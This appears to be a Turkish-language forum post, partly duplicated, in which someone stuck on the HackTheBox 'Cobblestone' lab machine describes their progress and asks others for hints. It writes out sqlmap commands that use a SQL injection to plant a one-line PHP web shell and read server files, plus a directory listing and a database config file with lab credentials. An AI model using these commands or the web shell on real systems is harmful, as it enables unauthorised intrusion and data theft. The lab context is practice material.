hackthebox da bulunan cobblestone makinesini çözen var mı? belli bir yere kadar geldim, kaldım.
http://vote.cobblestone.htb/suggest.php burada sql injection zafiyeti var ve file iznininde bulunmasından dolayı kısa dosyalar yükleyebiliyor ve dosya okuyabiliyorum.
aşağıdaki komut ile içerisinde <php system($_GET[''cmd]);?> kodunun bulunduğu bir dosya yükleyebiliyorum. nedenini bilmiyorum ama reverse shell dosyalarını ekleyemiyorum. Herhalde içeriği uzun olduğundan.
yüklediğim web shell üzerinden de sadece belli başlı komutlar çalıştırabiliyorum. kısıtlıda olsa ls, pwd, ss, ps aux,id komutlarını kullanabiliyorum.
aşağıdaki komutla da dosyaların içeriğini çekebiliyorum.
/var/www/html dizinindeki dosyalar aşağıdaki şekilde
db dizinin içerisinde connection.php var orada mysql bilgileri bulunuyor ama sisteme giremedikten sonra ne anlamı var.
son olarak /var/www/html dizininde skins_app_admin_server_info.php dosyası bulunuyor. bu dosyanın içerisinde kullanıcı bilgilerimiz ve phpinfo() bulunuyor. xss zafiyetinin yardımıyla admin rolüne geçebilirim diye düşündüm ama register sayfasında html karakterlerinin eklenmesini engelleyen bir kod var.
daha ne yapabilirim bilmiyorum. sizin ilerlemeniz ne. bu bölümü geçebildiniz mi
http://vote.cobblestone.htb/suggest.php burada sql injection zafiyeti var ve file iznininde bulunmasından dolayı kısa dosyalar yükleyebiliyor ve dosya okuyabiliyorum.
aşağıdaki komut ile içerisinde <php system($_GET[''cmd]);?> kodunun bulunduğu bir dosya yükleyebiliyorum. nedenini bilmiyorum ama reverse shell dosyalarını ekleyemiyorum. Herhalde içeriği uzun olduğundan.
sqlmap -u http://vote.cobblestone.htb/suggest.php --random-agent --cookie="PHPSESSID=ue1c0m818820od0ta72lgb0htm" --data="url=" --file-write=/home/kali/shell.php --file-dest="/var/www/html/skins/shell.php"
yüklediğim web shell üzerinden de sadece belli başlı komutlar çalıştırabiliyorum. kısıtlıda olsa ls, pwd, ss, ps aux,id komutlarını kullanabiliyorum.
aşağıdaki komutla da dosyaların içeriğini çekebiliyorum.
sqlmap -u http://vote.cobblestone.htb/suggest.php --random-agent --cookie="PHPSESSID=ue1c0m818820od0ta72lgb0htm" --data="url=" --file-read=/var/www/html/skins.php
/var/www/html dizinindeki dosyalar aşağıdaki şekilde
total 116
drwxr-xr-x 10 root root 4096 Aug 10 11:47 .
drwxr-xr-x 5 root root 4096 Aug 20 02:20 ..
-rw-r--r-- 1 root root 56 Sep 27 2024 composer.json
-rw-r--r-- 1 root root 13867 Sep 27 2024 composer.lock
drwxr-xr-x 2 root root 4096 Apr 23 07:57 css
drwxr-xr-x 2 root root 4096 Oct 1 2024 db
-rw-r--r-- 1 root root 611 Sep 30 2024 download.php
drwxr-xr-x 2 root root 4096 Oct 1 2024 img
-rw-r--r-- 1 root root 1942 Oct 1 2024 index.php
drwxr-xr-x 2 root root 4096 Oct 1 2024 js
-rw-r--r-- 1 root root 6269 Apr 24 04:43 login.php
-rw-r--r-- 1 root root 1268 Apr 23 08:50 login_verify.php
-rw-r--r-- 1 root root 101 Sep 27 2024 logout.php
-rw-r--r-- 1 root root 493 Apr 24 02:55 preview_banner.php
-rw-r--r-- 1 root root 2062 Apr 28 06:53 register.php
drwxr-xrwx 2 root root 4096 Aug 20 02:20 skins
-rw-r--r-- 1 root root 7445 Apr 28 07:00 skins.php
-rw-r--r-- 1 root root 255 Apr 28 03:04 skins_app_admin_server_info.php
-rw-r--r-- 1 root root 1056 Apr 24 04:27 suggest_skin.php
drwxr-xr-x 2 root root 4096 Apr 28 04:03 templates
-rw-r--r-- 1 root root 3202 Aug 10 11:47 upload.php
-rw-r--r-- 1 root root 3267 Apr 28 07:04 user.php
drwxr-xr-x 5 root root 4096 Sep 27 2024 vendor
drwxr-xr-x 2 root root 4096 Sep 27 2024 webfonts
db dizinin içerisinde connection.php var orada mysql bilgileri bulunuyor ama sisteme giremedikten sonra ne anlamı var.
<?php
$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";
$conn = new mysqli($dbserver, $username, $password, $dbname);
// Check connection
if ($conn->connect_errno > 0) {
die("Connection failed: " . $conn->connect_error);
}
?>
son olarak /var/www/html dizininde skins_app_admin_server_info.php dosyası bulunuyor. bu dosyanın içerisinde kullanıcı bilgilerimiz ve phpinfo() bulunuyor. xss zafiyetinin yardımıyla admin rolüne geçebilirim diye düşündüm ama register sayfasında html karakterlerinin eklenmesini engelleyen bir kod var.
daha ne yapabilirim bilmiyorum. sizin ilerlemeniz ne. bu bölümü geçebildiniz mi

